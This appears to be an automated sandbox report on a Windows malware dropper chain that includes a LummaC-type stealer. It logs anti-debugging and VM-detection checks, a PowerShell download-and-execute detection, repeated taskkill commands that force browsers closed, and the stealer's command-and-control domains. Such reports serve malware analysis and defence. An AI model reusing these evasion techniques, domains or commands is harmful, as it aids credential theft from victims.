Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 380	Thread sleep count: 785 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 380	Thread sleep count: 477 > 30
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe TID: 4444	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 3272	Thread sleep count: 7660 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 3272	Thread sleep time: -76600s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 3272	Thread sleep count: 314 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 3272	Thread sleep count: 122 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Thread sleep count: Count: 6960 delay: -10	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Thread sleep count: Count: 7807 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Thread sleep count: Count: 7660 delay: -10

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	7_2_00EADBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E7C2A2 FindFirstFileExW,	7_2_00E7C2A2
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB68EE FindFirstFileW,FindClose,	7_2_00EB68EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	7_2_00EB698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EAD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00EAD076
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EAD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00EAD3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00EB9642
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00EB979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	7_2_00EB9B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB5C97 FindFirstFileW,FindNextFileW,FindClose,	7_2_00EB5C97
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	22_2_0064E430
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_006538B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	22_2_006538B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00654570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	22_2_00654570
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	22_2_0064ED20
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00654910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00654910
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	22_2_0064BE70
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_0064DE10
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_006416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_006416D0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00653EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00653EA0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_0064F6B0
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0064DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_0064DA80

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00E442DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 4db5303091.exe, 4db5303091.exe, 00000036.00000002.3035896265.00000000004CA000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E1C000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy6.
Source: xwZfYpo16i.exe, 00000000.00000003.2095176900.0000000001520000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: num.exe, 00000016.00000002.2737892178.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: num.exe, 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP$L
Source: num.exe, 00000016.00000002.2737892178.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2847916008.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037146938.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: xwZfYpo16i.exe, 00000000.00000002.2132189808.0000000000416000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2157363835.0000000000CF6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2158512198.0000000000CF6000.00000040.00000001.01000000.00000007.sdmp, 4db5303091.exe, 00000019.00000002.2846058682.00000000004CA000.00000040.00000001.01000000.0000000D.sdmp, 4db5303091.exe, 00000036.00000002.3035896265.00000000004CA000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: xwZfYpo16i.exe, 00000000.00000002.2132189808.0000000000416000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2157363835.0000000000CF6000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2158512198.0000000000CF6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: qEMUMJ
Source: num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareK

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

Code function: 0_2_05490DAE rdtsc

0_2_05490DAE

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EBEAA2 BlockInput,

7_2_00EBEAA2

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E72622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00E72622

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 22_2_006445C0 VirtualProtect ?,00000004,00000100,00000000

22_2_006445C0

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00E442DE

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E64CE8 mov eax, dword ptr fs:[00000030h]		7_2_00E64CE8
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_00659750 mov eax, dword ptr fs:[00000030h]		22_2_00659750

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EA0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

7_2_00EA0B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E72622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00E72622
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E6083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00E6083F
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E609D5 SetUnhandledExceptionFilter,	7_2_00E609D5
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E60C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00E60C21
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0065AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0065AD48
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0065CEEA SetUnhandledExceptionFilter,	22_2_0065CEEA
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0065B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_0065B33A

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: num.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3568, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, type: DROPPED

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T

LummaC encrypted strings found

Source: 4db5303091.exe	String found in binary or memory: clearancek.site
Source: 4db5303091.exe	String found in binary or memory: licendfilteo.site
Source: 4db5303091.exe	String found in binary or memory: spirittunek.stor
Source: 4db5303091.exe	String found in binary or memory: bathdoomgaz.stor
Source: 4db5303091.exe	String found in binary or memory: studennotediw.stor
Source: 4db5303091.exe	String found in binary or memory: dissapoiznw.stor
Source: 4db5303091.exe	String found in binary or memory: eaglepawnoy.stor
Source: 4db5303091.exe	String found in binary or memory: mobbipenju.stor

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 22_2_00659600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

22_2_00659600

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

7_2_00EA1201

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E82BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

7_2_00E82BA5

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EAB226 SendInput,keybd_event,

7_2_00EAB226

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EC22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

7_2_00EC22DA

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
